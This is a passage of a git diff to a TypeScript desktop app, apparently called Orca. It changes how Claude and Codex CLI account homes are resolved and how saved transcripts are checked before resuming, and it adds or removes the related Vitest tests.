'ran-under-b' + } + }, + true + ) + const customHome = join(root, 'custom-claude-home') + record.accountHome = { variable: 'CLAUDE_CONFIG_DIR', path: customHome } + const sourceProject = join(customHome, 'projects', '-repos-workspace-1') + mkdirSync(sourceProject, { recursive: true }) + writeFileSync(join(sourceProject, 'ran-under-b.jsonl'), '{}\n') - await expect(launch()).rejects.toMatchObject({ reason: 'historyInOtherAccount' }) + await expect(launch()).rejects.toMatchObject({ + name: 'AgentSessionPreSpawnError', + reason: 'historyInOtherAccount' + }) + + const selectedProject = join(home, 'projects', '-repos-workspace-1') + mkdirSync(selectedProject, { recursive: true }) + writeFileSync(join(selectedProject, 'ran-under-b.jsonl'), '{}\n') + expect((await launch()).options).toMatchObject({ + sessionId: 'forked', + resume: 'ran-under-b', + resumeSessionAt: 'entry-1', + forkSession: true + }) }) diff --git a/src/main/claude/claude-structured-launch-home-perf.test.ts b/src/main/claude/claude-structured-launch-home-perf.test.ts new file mode 100644 index 00000000000..f4260c52e6e --- /dev/null +++ b/src/main/claude/claude-structured-launch-home-perf.test.ts @@ -0,0 +1,127 @@ +import * as nativeFs from 'node:fs' +import * as fs from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { dirname, join, sep } from 'node:path' +import { performance } from 'node:perf_hooks' +import { afterEach, expect, it, vi } from 'vitest' +import { ClaudeProfileRouter } from '../claude-accounts/claude-profile-router' +import { claudeLaunchResumesTranscript } from './claude-structured-launch-home' + +vi.mock('node:fs/promises', async (original) => { + const actual = await original() + return { ...actual, readdir: vi.fn(actual.readdir) } +}) +vi.mock('node:fs', async (original) => { + const actual = await original() + return { ...actual, readdirSync: vi.fn(actual.readdirSync) } +}) + +const roots: string[] = [] +afterEach(async () => { + vi.restoreAllMocks() + await Promise.all(roots.splice(0).map((root) => fs.rm(root, { recursive: true, force: true }))) +}) + +it.each([10, 100])( + 'bounds saved-home transcript traversal with %i project directories', + async (directories) => { + const root = await fs.mkdtemp(join(tmpdir(), 'claude-saved-transcript-perf-')) + roots.push(root) + const router = new ClaudeProfileRouter({ + dataRoot: root, + userHome: join(root, 'personal'), + env: {}, + getSettings: () => ({ + claudeManagedAccounts: [], + activeClaudeManagedAccountId: 'selected', + activeClaudeManagedAccountIdsByRuntime: undefined, + agentStatusHooksEnabled: false, + disabledTuiAgents: [] + }) + }) + const selectedHome = router.accountHome('selected') + const selectedProject = join(selectedHome, 'projects', '-repos-selected') + const savedHome = join(root, 'custom-home') + const savedProjects = join(savedHome, 'projects') + await fs.mkdir(selectedProject, { recursive: true }) + await fs.mkdir(join(router.systemDefaultHome(), 'projects'), { recursive: true }) + for (let index = 0; index < directories; index += 1) { + const project = join(savedProjects, `-repos-${index}`) + await fs.mkdir(project, { recursive: true }) + await fs.writeFile(join(project, `unrelated-${index}.jsonl`), '{}\n') + } + const accountListings = vi.mocked(nativeFs.readdirSync) + const readdir = vi.mocked(fs.readdir) + async function observe( + phase: string, + providerSessionId: string, + refuses = false, + recordHome = savedHome + ) { + readdir.mockClear() + accountListings.mockClear() + const started = performance.now() + const outcome = await claudeLaunchResumesTranscript({ + router, + providerSessionId, + leafUuid: 'known-leaf', + claudeConfigDir: selectedHome, + recordHome + }).then( + (result) => ({ result }), + (error: unknown) => ({ error }) + ) + const elapsedMs = performance.now() - started + const paths = readdir.mock.calls.map(([path]) => String(path)) + const recordProjects = join(recordHome, 'projects') + const counts = { + enumerations: paths.length, + savedEnumerations: paths.filter( + (path) => path === recordProjects || path.startsWith(`${recordProjects}${sep}`) + ).length, + accountListings: accountListings.mock.calls.length + } + if (refuses) { + expect(outcome).toMatchObject({ + error: { name: 'AgentSessionPreSpawnError', reason: 'historyInOtherAccount' } + }) + } else { + expect(outcome).toEqual({ result: true }) + } + console.info('saved-home-transcript-perf', { phase, directories, ...counts, elapsedMs }) + return counts + } + + await fs.writeFile(join(selectedProject, 'selected-hit.jsonl'), '{}\n') + expect(await observe('selected-hit', 'selected-hit')).toEqual({ + enumerations: 2, + savedEnumerations: 0, + accountListings: 0 + }) + // A saved home also listed as an account is traversed twice on a miss. + const listedHome = router.accountHome('saved') + await fs.mkdir(dirname(listedHome), { recursive: true }) + await fs.rename(savedHome, listedHome) + expect(await observe('total-miss', 'absent-session', false, listedHome)).toEqual({ + enumerations: 2 * directories + 5, + savedEnumerations: 2 * (directories + 1), + accountListings: 1 + }) + await fs.rename(listedHome, savedHome) + await fs.writeFile( + join(savedProjects, `-repos-${directories - 1}`, 'saved-source.jsonl'), + '{}\n' + ) + expect(await observe('saved-source-refusal', 'saved-source', true)).toEqual({ + enumerations: directories + 3, + savedEnumerations: directories + 1, + accountListings: 1 + }) + await fs.writeFile(join(selectedProject, 'saved-source.jsonl'), '{}\n') + expect(await observe('selected-recovery', 'saved-source')).toEqual({ + enumerations: 2, + savedEnumerations: 0, + accountListings: 0 + }) + } +) diff --git a/src/main/claude/claude-structured-launch-home.ts b/src/main/claude/claude-structured-launch-home.ts index f13cb7f6a84..0413063cdc0 100644 --- a/src/main/claude/claude-structured-launch-home.ts +++ b/src/main/claude/claude-structured-launch-home.ts @@ -1,9 +1,8 @@ import { join } from 'node:path' import type { ClaudeProfileRouter } from '../claude-accounts/claude-profile-router' -import { applyClaudeEnvPatch } from '../claude-accounts/environment' import { AgentSessionPreSpawnError } from '../native-chat/agent-session-wire/structured-agent-session-adapter' import { resolveSessionFilePath } from '../native-chat/session-file-resolver' -import { resolveStructuredClaudeAccountHomePath } from '../runtime/structured-agent-account-home' +import { prepareClaudeReceivingAccount } from './claude-receiving-account' /** Follow the current account selection and pin its environment for this launch. */ export async function resolveClaudeStructuredLaunchHome( @@ -11,21 +10,7 @@ export async function resolveClaudeStructuredLaunchHome( env: Record, recordHome: string ): Promise { - if (!router) { - return recordHome - } - const preparation = await router.prepareLaunch() - // Read before patching: System default preserves the launch environment's CLAUDE_CONFIG_DIR. - const launchHome = - preparation.provenance === 'system' - ? resolveStructuredClaudeAccountHomePath({ - launchEnv: env, - wslDistro: null, - getClaudeConfigDirectory: () => router.systemDefaultHome() - }) - : preparation.configDir - applyClaudeEnvPatch(env, preparation.envPatch) - return launchHome + return (await prepareClaudeReceivingAccount(router, env, recordHome)).home } async function claudeTranscriptExists(input: { @@ -44,6 +29,7 @@ export async function claudeLaunchResumesTranscript(input: { leafUuid: string | null providerSessionId: string claudeConfigDir: string + recordHome: string hasTranscript?: typeof claudeTranscriptExists }): Promise { const { router, providerSessionId, claudeConfigDir } = input @@ -57,7 +43,9 @@ export async function claudeLaunchResumesTranscript(input: { if (input.leafUuid === null) { return false } - const otherHomes = router ? [...router.accountHomes(), router.systemDefaultHome()] : [] + const otherHomes = router + ? [input.recordHome, ...router.accountHomes(), router.systemDefaultHome()] + : [] for (const home of otherHomes.filter((home) => home !== claudeConfigDir)) { if (await hasTranscript({ providerSessionId, claudeConfigDir: home })) { throw new AgentSessionPreSpawnError( diff --git a/src/main/claude/claude-structured-launch-resolution.ts b/src/main/claude/claude-structured-launch-resolution.ts index a9e10e0bb91..caa3d778991 100644 --- a/src/main/claude/claude-structured-launch-resolution.ts +++ b/src/main/claude/claude-structured-launch-resolution.ts @@ -1,3 +1,5 @@ +import type { ClaudeAccountRecipe } from '../../shared/agent-session-acquired-account' +import { prepareClaudeReceivingAccount } from './claude-receiving-account' import { assertStructuredAgentResolutionCurrent } from '../native-chat/structured-agent-command-resolution' import { activeProviderContext } from '../../shared/agent-session-provider-context' import { getClaudeProfileRouter } from '../claude-accounts/claude-profile-installed-router' @@ -27,10 +29,7 @@ import { claudeStructuredLaunchArgs } from './claude-structured-launch-args' import type { ClaudeCliFlagCheck, ClaudeCliFlagSupport } from './claude-cli-flag-support' import { resolveClaudeLaunchFlags } from './claude-structured-launch-flags' import { withNativeChatVisualsEnv } from '../native-chat/native-chat-visuals-delivery' -import { - claudeLaunchResumesTranscript, - resolveClaudeStructuredLaunchHome -} from './claude-structured-launch-home' +import { claudeLaunchResumesTranscript } from './claude-structured-launch-home' import type { StructuredAgentLaunchPartResolver } from '../runtime/structured-agent-launch-composition' import { claudeSessionIdForOrcaSession } from './structured/claude-structured-session-id' import { @@ -104,6 +103,7 @@ export type ClaudeStructuredLaunch = { env?: Record envToDelete?: readonly string[] claudeConfigDir: string + accountRecipe?: ClaudeAccountRecipe providerSessionId: string /** The previous head leaf, carried into the publication link; never a resume argument. */ resumeLeafUuid: string | null @@ -229,12 +229,14 @@ export function claudeStructuredLaunchPart( leafUuid, providerSessionId, claudeConfigDir, + recordHome: accountHome.path, hasTranscript: deps.hasTranscript })) // Fixed homes can be checked before the final account-routing recheck. - const resumedWithoutRouter = router ? undefined : await resumes(accountHome.path) + const resumedWithoutRouter = + router || basis.accountRecipe ? undefined : await resumes(accountHome.path) // Resolve auth after awaited launch preparation; account routing is rechecked below. - const { command, prefixArgs, env, account } = await resolveClaudeStructuredInvocation( + const { command, prefixArgs, env } = await resolveClaudeStructuredInvocation( envDeps, (base) => withNativeChatVisualsEnv( @@ -248,7 +250,13 @@ export function claudeStructuredLaunchPart( sources, { runtimeOnPath: false } ) - const launchHome = await resolveClaudeStructuredLaunchHome(router, env, accountHome.path) + const accountRecipe = await prepareClaudeReceivingAccount( + router, + env, + accountHome.path, + basis.accountRecipe + ) + const launchHome = accountRecipe.home const resumesTranscript = resumedWithoutRouter ?? (await resumes(launchHome)) if (fork?.throughEntryId && !resumesTranscript) { // Fork sources must pass the same account-history check as resumes. @@ -257,6 +265,7 @@ export function claudeStructuredLaunchPart( leafUuid: fork.throughEntryId, providerSessionId: fork.sourceSessionId, claudeConfigDir: launchHome, + recordHome: accountHome.path, hasTranscript: deps.hasTranscript }) } @@ -264,7 +273,8 @@ export function claudeStructuredLaunchPart( launch: { pathToClaudeCodeExecutable: command, prefixArgs, - account, + account: accountRecipe.route === 'managed' ? 'managed' : 'system', + accountRecipe, options: { ...CLAUDE_STRUCTURED_BASE_OPTIONS, ...permission, diff --git a/src/main/claude/claude-structured-queued-stop.test.ts b/src/main/claude/claude-structured-queued-stop.test.ts index d038026deca..ae1d661b280 100644 --- a/src/main/claude/claude-structured-queued-stop.test.ts +++ b/src/main/claude/claude-structured-queued-stop.test.ts @@ -192,15 +192,6 @@ describe('Stop with a follow-up Claude queued behind the running turn', () => { expect(bySessionStart).toEqual(byInit) }) - it('settles the swept follow-up without proof it never reached Claude', async () => { - const { settlements } = await stopWithQueuedFollowUp( - claudeCli({ initProof: 'init', capabilities: CAPABILITIES }), - () => {} - ) - expect(settlements[0]).toMatchObject({ state: 'rejected' }) - expect(JSON.stringify(settlements[0])).not.toContain('neverReachedAgent') - }) - it('keeps what a turn advertised when a later frame names nothing', async () => { const result = await stopWithQueuedFollowUp( claudeCli({ initProof: 'session-start' }), diff --git a/src/main/claude/structured/claude-structured-session-publication.ts b/src/main/claude/structured/claude-structured-session-publication.ts index 1c3e7119082..be1ebb9ed15 100644 --- a/src/main/claude/structured/claude-structured-session-publication.ts +++ b/src/main/claude/structured/claude-structured-session-publication.ts @@ -1,3 +1,6 @@ +import { agentSessionAccountHome } from '../../../shared/agent-session-account-home' +import { CLAUDE_STRUCTURED_AGENT } from '../claude-structured-agent-definition' +import { randomUUID } from 'node:crypto' import { refreshClaudeStructuredSessionOptions } from '../claude-structured-session-options' import type { AgentSessionAcquisition, @@ -6,13 +9,12 @@ import type { import { claudeProviderHandleLink } from './claude-structured-owner-identity' import type { ClaudePromptRegistry } from '../claude-prompt-registry' import type { ClaudeJournalTranslator } from '../claude-journal-translator-contract' -import { - mintClaudeAcquisitionGeneration, - type ClaudeSession, - type ClaudeAcquisitionAttempt, - type ClaudeAcquireCallbacks, - type ClaudeStructuredSessionEvent, - type ClaudeStructuredSessionAdapterDeps +import type { + ClaudeSession, + ClaudeAcquisitionAttempt, + ClaudeAcquireCallbacks, + ClaudeStructuredSessionEvent, + ClaudeStructuredSessionAdapterDeps } from './claude-structured-session-state' import { ClaudeBackgroundTaskTracker } from '../claude-background-task-tracker' import { ClaudeChildWorkDecoder } from '../claude-child-work-decoder' @@ -63,6 +65,7 @@ function claudeSessionInitialization(input: { proof, ...(facts ? { facts } : {}), account: launch.account, + ...(launch.accountRecipe ? { accountRecipe: launch.accountRecipe } : {}), resumesTranscript: launch.resumesTranscript, claudeConfigDir: launch.claudeConfigDir, cwd: launch.cwd, @@ -75,6 +78,9 @@ function claudeSessionInitialization(input: { } } +const mintClaudeAcquisitionGeneration = (deps: ClaudeStructuredSessionAdapterDeps) => + deps.mintAcquisitionGeneration?.() ?? randomUUID() + export function createClaudeSessionPublication(input: { connection: ClaudeSession['connection'] launch: ClaudeAcquisitionLaunch @@ -104,7 +110,9 @@ export function createClaudeSessionPublication(input: { return { acquisition: { process: input.process, - acquisitionGeneration + acquisitionGeneration, + ...(input.launch.accountRecipe ? { accountRecipe: input.launch.accountRecipe } : {}), + accountHome: agentSessionAccountHome(CLAUDE_STRUCTURED_AGENT, input.launch.claudeConfigDir) }, session: { connection: input.connection, diff --git a/src/main/claude/structured/claude-structured-session-state.ts b/src/main/claude/structured/claude-structured-session-state.ts index 719d552dacc..c0a6a367183 100644 --- a/src/main/claude/structured/claude-structured-session-state.ts +++ b/src/main/claude/structured/claude-structured-session-state.ts @@ -15,7 +15,6 @@ import type { StructuredLaunchRequest } from '../../runtime/structured-agent-lau import type { ClaudeJournalTranslator } from '../claude-journal-translator-contract' import type { ClaudePendingPrompt, ClaudePromptRegistry } from '../claude-prompt-registry' import { cancelProcessAcquisition } from '@orca/process-host/cancel-process-acquisition' -import { randomUUID } from 'node:crypto' import type { AgentSessionFastModeState } from '../../../shared/agent-session-wire' import type { AgentChildWorkEvidence } from '../../../shared/agent-status-child-work-evidence' import type { ClaudeBackgroundTaskTracker } from '../claude-background-task-tracker' @@ -227,6 +226,7 @@ export type ClaudeSession = { facts?: Promise proof: ClaudeInitProof account: ClaudeStructuredLaunch['account'] + accountRecipe?: ClaudeStructuredLaunch['accountRecipe'] resumesTranscript: boolean /** The account home the child writes its transcript in, pinned at launch. */ claudeConfigDir: string @@ -236,9 +236,6 @@ export type ClaudeSession = { } } -export const mintClaudeAcquisitionGeneration = (deps: ClaudeStructuredSessionAdapterDeps) => - deps.mintAcquisitionGeneration?.() ?? randomUUID() - /** Retain observed exits until settlement so delayed acquisition cleanup can find their proof. */ export type ClaudeSessionExit = { observedAt: number diff --git a/src/main/codex-accounts/legacy-shared-config-compatibility.test.ts b/src/main/codex-accounts/legacy-shared-config-compatibility.test.ts index e90530563a7..204325ad1ba 100644 --- a/src/main/codex-accounts/legacy-shared-config-compatibility.test.ts +++ b/src/main/codex-accounts/legacy-shared-config-compatibility.test.ts @@ -140,20 +140,6 @@ describe('legacy shared Codex config compatibility', () => { expect(readFileSync(join(sharedRuntimeHome, 'config.toml'), 'utf-8')).toBe(staleConfig) }) - it('does not promote retained-pane settings into the real home', () => { - writeFileSync(join(systemCodexHome, 'config.toml'), 'model = "canonical"\n', 'utf-8') - writeFileSync(join(sharedRuntimeHome, 'config.toml'), 'model = "retained-pane-change"\n') - - syncLegacySharedCodexConfigForRetainedPanes({ sharedRuntimeHome, systemCodexHome }) - - expect(readFileSync(join(systemCodexHome, 'config.toml'), 'utf-8')).toBe( - 'model = "canonical"\n' - ) - expect(readFileSync(join(sharedRuntimeHome, 'config.toml'), 'utf-8')).toBe( - 'model = "canonical"\n' - ) - }) - it('does not overwrite trust appended by a retained Codex during the mirror', () => { const runtimeConfigPath = join(sharedRuntimeHome, 'config.toml') const runtimeConfig = 'model = "runtime-before"\n' diff --git a/src/main/codex-accounts/service-add-account-from-home.test.ts b/src/main/codex-accounts/service-add-account-from-home.test.ts index 0779fbd9f6f..d3ada516e83 100644 --- a/src/main/codex-accounts/service-add-account-from-home.test.ts +++ b/src/main/codex-accounts/service-add-account-from-home.test.ts @@ -97,40 +97,6 @@ describe('CodexAccountService.addAccountFromHome', () => { } }) - it('registers a managed Codex account by importing an authenticated CODEX_HOME', async () => { - vi.doMock('../codex-cli/command', () => ({ resolveCodexCommand: () => 'codex' })) - const sourceHome = mkdtempSync(join(tmpdir(), 'orca-codex-source-')) - writeFileSync( - join(sourceHome, 'auth.json'), - createCodexAuthJson('new@example.com', 'provider-account-1', 'refresh-token'), - 'utf-8' - ) - - try { - const settings = createSettings() - const store = createStore(settings) - const rateLimits = createRateLimits() - const runtimeHome = createRuntimeHome() - const { CodexAccountService } = await import('./service') - const service = new CodexAccountService( - store as never, - rateLimits as never, - runtimeHome as never - ) - - const result = await service.addAccountFromHome(sourceHome) - - expect(result.accounts).toHaveLength(1) - expect(result.accounts[0]?.email).toBe('new@example.com') - const managedHomePath = store.getSettings().codexManagedAccounts[0].managedHomePath - expect(existsSync(join(managedHomePath, 'auth.json'))).toBe(true) - expect(runtimeHome.syncForCurrentSelection).toHaveBeenCalled() - } finally { - rmSync(sourceHome, { recursive: true, force: true }) - vi.doUnmock('../codex-cli/command') - } - }) - it('restores settings and runtime selection when post-write activation fails', async () => { vi.doMock('../codex-cli/command', () => ({ resolveCodexCommand: () => 'codex' })) const sourceHome = mkdtempSync(join(tmpdir(), 'orca-codex-source-rollback-')) diff --git a/src/main/codex-accounts/service-managed-home-removal-retries.test.ts b/src/main/codex-accounts/service-managed-home-removal-retries.test.ts deleted file mode 100644 index 2d4b31dbe80..00000000000 --- a/src/main/codex-accounts/service-managed-home-removal-retries.test.ts +++ /dev/null @@ -1,117 +0,0 @@ -import { describe, expect, it, vi, beforeEach } from 'vitest' -import { installFakeAppEnvironment } from '../../../config/scripts/vitest-host-ports-setup' -import { existsSync } from 'node:fs' -import type * as NodeFs from 'node:fs' -import { - createManagedHome, - createRateLimits, - createRuntimeHome, - createSettings, - createStore, - registerCodexAccountsTestHomes, - testState -} from './service-test-harness' - -vi.mock('electron', () => ({ - app: { - getPath: () => testState.userDataDir - } -})) -beforeEach(() => installFakeAppEnvironment({ getPath: () => testState.userDataDir })) - -vi.mock(import('node:os'), async (importOriginal) => { - const actual = await importOriginal() - return { - ...actual, - homedir: () => testState.fakeHomeDir - } -}) - -describe('CodexAccountService config sync', () => { - registerCodexAccountsTestHomes() - - it('removes managed homes with bounded rm retries for transient Windows locks', async () => { - vi.resetModules() - const actualFs = await vi.importActual('node:fs') - const rmSyncSpy = vi.fn(actualFs.rmSync) - vi.doMock('node:fs', () => ({ ...actualFs, rmSync: rmSyncSpy })) - - try { - // Match ownership canonicalization, including /private/var paths on macOS. - const managedHomePath = actualFs.realpathSync( - createManagedHome(testState.userDataDir, 'account-1') - ) - const store = createStore(createSettings()) - const rateLimits = createRateLimits() - const runtimeHome = createRuntimeHome() - const { CodexAccountService } = await import('./service') - const service = new CodexAccountService( - store as never, - rateLimits as never, - runtimeHome as never - ) - - ;( - service as unknown as { - safeRemoveManagedHome(candidatePath: string, expectedAccountId: string): void - } - ).safeRemoveManagedHome(managedHomePath, 'account-1') - - expect(existsSync(managedHomePath)).toBe(false) - const homeRemoval = rmSyncSpy.mock.calls.find(([target]) => target === managedHomePath) - expect(homeRemoval?.[1]).toMatchObject({ - recursive: true, - force: true, - maxRetries: 8, - retryDelay: 150 - }) - } finally { - vi.doUnmock('node:fs') - } - }) - - it('does not throw when managed home removal keeps failing on a held handle', async () => { - vi.resetModules() - const actualFs = await vi.importActual('node:fs') - let managedHomePath = '' - const lockedError = Object.assign(new Error('ENOTEMPTY: directory not empty'), { - code: 'ENOTEMPTY' - }) - const rmSyncSpy = vi.fn((target: Parameters[0], options) => { - if (target === managedHomePath) { - throw lockedError - } - actualFs.rmSync(target, options) - }) - vi.doMock('node:fs', () => ({ ...actualFs, rmSync: rmSyncSpy })) - const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}) - - try { - managedHomePath = actualFs.realpathSync(createManagedHome(testState.userDataDir, 'account-1')) - const store = createStore(createSettings()) - const rateLimits = createRateLimits() - const runtimeHome = createRuntimeHome() - const { CodexAccountService } = await import('./service') - const service = new CodexAccountService( - store as never, - rateLimits as never, - runtimeHome as never - ) - - expect(() => - ( - service as unknown as { - safeRemoveManagedHome(candidatePath: string, expectedAccountId: string): void - } - ).safeRemoveManagedHome(managedHomePath, 'account-1') - ).not.toThrow() - expect(warnSpy).toHaveBeenCalledWith( - '[codex-accounts] Failed to remove managed home:', - lockedError - ) - } finally { - warnSpy.mockRestore() - vi.doUnmock('node:fs') - } - }) -}) diff --git a/src/main/codex/codex-hooks-read-denial-followup.test.ts b/src/main/codex/codex-hooks-read-denial-followup.test.ts deleted file mode 100644 index 57066cf5306..00000000000 --- a/src/main/codex/codex-hooks-read-denial-followup.test.ts +++ /dev/null @@ -1,138 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type * as NodeFs from 'node:fs' -import type * as NodeOs from 'node:os' -import type * as CodexManagedTrustReconciliation from './codex-managed-trust-reconciliation' -import { tmpdir } from 'node:os' -import { join } from 'node:path' - -// Measured chmod/icacls denials leave exists/stat successful but fail content reads -// (macOS EACCES -13, Windows EPERM -4048); do not fake absence. - -const denials = vi.hoisted(() => { - const state = { - paths: new Set(), - deny(path: string): void { - state.paths.add(path) - }, - reset(): void { - state.paths.clear() - }, - check(target: unknown, syscall: string): void { - if (typeof target !== 'string' || !state.paths.has(target)) { - return - } - const error: NodeJS.ErrnoException = new Error( - `EACCES: permission denied, ${syscall} '${target}'` - ) - error.code = 'EACCES' - error.errno = -13 - error.syscall = syscall - error.path = target - throw error - } - } - return state -}) - -vi.mock('node:fs', async (importOriginal) => { - const actual = await importOriginal() - const guardRead = (fn: unknown, syscall: string): unknown => { - const original = fn as (...args: unknown[]) => unknown - const wrapped = (...args: unknown[]): unknown => { - denials.check(args[0], syscall) - return original(...args) - } - return Object.assign(wrapped, original) - } - const patched: Record = { - ...actual, - readFileSync: guardRead(actual.readFileSync, 'read'), - openSync: Object.assign((...args: unknown[]): unknown => { - const flags = args[1] - if (flags === undefined || (typeof flags === 'string' && flags.startsWith('r'))) { - denials.check(args[0], 'open') - } - return (actual.openSync as (...a: unknown[]) => unknown)(...args) - }, actual.openSync) - } - return { ...patched, default: patched } -}) - -const { getPathMock, homedirMock } = vi.hoisted(() => ({ - getPathMock: vi.fn<(name: string) => string>(), - homedirMock: vi.fn<() => string>() -})) - -vi.mock('electron', () => ({ app: { getPath: getPathMock } })) -vi.mock('node:os', async () => { - const actual = await vi.importActual('node:os') - return { ...actual, homedir: homedirMock } -}) - -const realFs = await vi.importActual('node:fs') - -let fakeHomeDir: string -let userDataDir: string -let previousUserDataPath: string | undefined - -beforeEach(() => { - denials.reset() - fakeHomeDir = realFs.mkdtempSync(join(tmpdir(), 'orca-hooksread-home-')) - userDataDir = realFs.mkdtempSync(join(tmpdir(), 'orca-hooksread-data-')) - previousUserDataPath = process.env.ORCA_USER_DATA_PATH - process.env.ORCA_USER_DATA_PATH = userDataDir - homedirMock.mockReturnValue(fakeHomeDir) - getPathMock.mockImplementation((name: string) => { - if (name === 'userData') { - return userDataDir - } - throw new Error(`unexpected app.getPath(${name})`) - }) - realFs.mkdirSync(join(fakeHomeDir, '.codex'), { recursive: true }) -}) - -afterEach(() => { - denials.reset() - realFs.rmSync(fakeHomeDir, { recursive: true, force: true }) - realFs.rmSync(userDataDir, { recursive: true, force: true }) - if (previousUserDataPath === undefined) { - delete process.env.ORCA_USER_DATA_PATH - } else { - process.env.ORCA_USER_DATA_PATH = previousUserDataPath - } - vi.clearAllMocks() -}) - -describe('an unreadable legacy hooks.json must not clear managed trust or its ledger', () => { - it('returns before the removal branch instead of discarding approvals', async () => { - const legacyHooksPath = join(fakeHomeDir, '.codex', 'hooks.json') - realFs.writeFileSync(legacyHooksPath, JSON.stringify({ hooks: { Stop: [] } }), 'utf-8') - - const removeSpy = vi.fn() - vi.resetModules() - vi.doMock('./codex-managed-trust-reconciliation', async (importOriginal) => { - const actual = await importOriginal() - return { ...actual, removeCodexManagedHookTrustEntries: removeSpy } - }) - try { - // Seed a grant so accidental removal would be observable. - const ledger = await import('./codex-trust-grant-ledger') - ledger.writeCodexTrustGrantLedgerHome( - join(fakeHomeDir, '.codex'), - { entries: { 'seed:1': { trustedHash: 'sha256:seed' } } } as never, - ledger.getCodexTrustGrantLedgerPath() - ) - - const hookService = await import('./hook-service') - denials.deny(legacyHooksPath) - - hookService._internals.cleanupLegacySystemManagedHooks() - - // Unreadable hooks must preserve existing trust and its ownership ledger. - expect(removeSpy).not.toHaveBeenCalled() - } finally { - vi.doUnmock('./codex-managed-trust-reconciliation') - vi.resetModules() - } - }) -}) diff --git a/src/main/codex/codex-provider-retry-row.test.ts b/src/main/codex/codex-provider-retry-row.test.ts index b01d8eeee4b..b117f8dc1f1 100644 --- a/src/main/codex/codex-provider-retry-row.test.ts +++ b/src/main/codex/codex-provider-retry-row.test.ts @@ -111,56 +111,6 @@ describe('a Codex stream error it is about to retry', () => { ).toEqual([]) }) - it('is one line when Codex gives no detail, or only repeats its message', () => { - const { translator, rows } = harness() - translator.handle(retrying('Reconnecting... 1/5')) - translator.handle(retrying('Reconnecting... 2/5', 'Reconnecting... 2/5')) - - expect(retryRows(rows).map((row) => row.body.kind === 'status' && row.body.text)).toEqual([ - 'Codex is retrying: Reconnecting... 1/5.', - 'Codex is retrying: Reconnecting... 2/5.' - ]) - }) - - it('publishes every attempt, so each one renews the idle clock', () => { - const { translator, publishes } = harness() - - const before = publishes() - translator.handle(retrying('Reconnecting... 1/5')) - translator.handle(retrying('Reconnecting... 2/5')) - translator.handle(retrying('Reconnecting... 3/5')) - - expect(publishes() - before).toBe(3) - }) - - it('keeps every earlier row when a new connection in the same session retries', () => { - const rows: Row[] = [] - const connect = (acquisitionId: string) => { - const translator = createCodexJournalTranslator({ - sink: { - appendItem: (identity, body) => rows.push({ key: agentJournalItemKey(identity), body }), - appendTombstone: () => undefined, - publish: () => undefined - }, - primaryThreadId: () => THREAD_ID, - acquisitionId - }) - translator.handle(notification('turn/started', { turn: { id: TURN_ID } })) - return translator - } - const first = connect('generation-1') - first.handle(retrying('Reconnecting... 1/5')) - first.handle(retrying('Reconnecting... 2/5')) - const second = connect('generation-2') - second.handle(retrying('Reconnecting... 1/5')) - - expect(retryRows(rows).map((row) => row.body.kind === 'status' && row.body.text)).toEqual([ - 'Codex is retrying: Reconnecting... 1/5.', - 'Codex is retrying: Reconnecting... 2/5.', - 'Codex is retrying: Reconnecting... 1/5.' - ]) - }) - it('is named for the acquisition that received it, so a reconnect writes new rows', async () => { const codex = fakeCodex() const adapter = adapterFor(codex) diff --git a/src/main/codex/codex-real-home-hook-key-spellings.test.ts b/src/main/codex/codex-real-home-hook-key-spellings.test.ts index 57548ed5f74..cf368a21796 100644 --- a/src/main/codex/codex-real-home-hook-key-spellings.test.ts +++ b/src/main/codex/codex-real-home-hook-key-spellings.test.ts @@ -96,12 +96,6 @@ afterEach(() => { }) describe('both spellings of a symlinked ~/.codex', () => { - it('has one key when nothing on the path is a symlink', () => { - mkdirSync(codexHome()) - - expect(getRealHomeHookKeySourcePaths()).toEqual([normalizeCodexHookSourcePath(hooksPath())]) - }) - it('resolves the key through a symlinked HOME before ~/.codex exists', () => { const linkedHome = join(root, 'linked-home') symlinkSync(home, linkedHome, process.platform === 'win32' ? 'junction' : 'dir') diff --git a/src/main/codex/codex-real-home-hook-removal.test.ts b/src/main/codex/codex-real-home-hook-removal.test.ts index acb65f09c77..9b5a1279f7e 100644 --- a/src/main/codex/codex-real-home-hook-removal.test.ts +++ b/src/main/codex/codex-real-home-hook-removal.test.ts @@ -1,6 +1,5 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { - existsSync, mkdirSync, mkdtempSync, readFileSync, @@ -78,11 +77,6 @@ afterEach(() => { }) describe('removeRealHomeCodexHookForOptOut', () => { - it('creates nothing when the user has no ~/.codex', async () => { - expect(await removeRealHomeCodexHookForOptOut([])).toBe('removed') - expect(existsSync(join(home, '.codex'))).toBe(false) - }) - it("keeps a malformed hooks.json's bytes, Orca's trust and its ledger", async () => { mkdirSync(join(home, '.codex')) const entry: CodexTrustEntry = { ...orcaStopAt(hooksJsonPath()), timeoutSec: 10 } @@ -97,12 +91,6 @@ describe('removeRealHomeCodexHookForOptOut', () => { expect(readCodexTrustGrantLedgerHome(join(home, '.codex'))).not.toBeNull() }) - it('keeps everything when hooks.json cannot be read', async () => { - mkdirSync(hooksJsonPath(), { recursive: true }) - - expect(await removeRealHomeCodexHookForOptOut([])).toBe('unavailable') - }) - it('removes only hash-proven Orca trust from a mixed hook group', async () => { mkdirSync(join(home, '.codex')) const userCommand = 'my-user-hook.sh' diff --git a/src/main/codex/codex-session-source-home.test.ts b/src/main/codex/codex-session-source-home.test.ts deleted file mode 100644 index fa29650c495..00000000000 --- a/src/main/codex/codex-session-source-home.test.ts +++ /dev/null @@ -1,72 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { - resolveHostCodexSessionSourceHome, - resolveWslCodexSessionSourceHome -} from './codex-session-source-home' - -describe('resolveHostCodexSessionSourceHome', () => { - it('returns undefined when no override is configured', () => { - expect(resolveHostCodexSessionSourceHome({})).toBeUndefined() - expect(resolveHostCodexSessionSourceHome({ codexSessionSourceHome: {} })).toBeUndefined() - }) - - it('returns undefined for blank/whitespace overrides so the default is kept', () => { - expect( - resolveHostCodexSessionSourceHome({ codexSessionSourceHome: { host: ' ' } }) - ).toBeUndefined() - }) - - it('returns the trimmed host override path', () => { - expect( - resolveHostCodexSessionSourceHome({ codexSessionSourceHome: { host: ' /custom/codex ' } }) - ).toBe('/custom/codex') - }) -}) - -describe('resolveWslCodexSessionSourceHome', () => { - it('returns undefined when no per-distro override exists', () => { - expect(resolveWslCodexSessionSourceHome({}, 'Ubuntu')).toBeUndefined() - expect( - 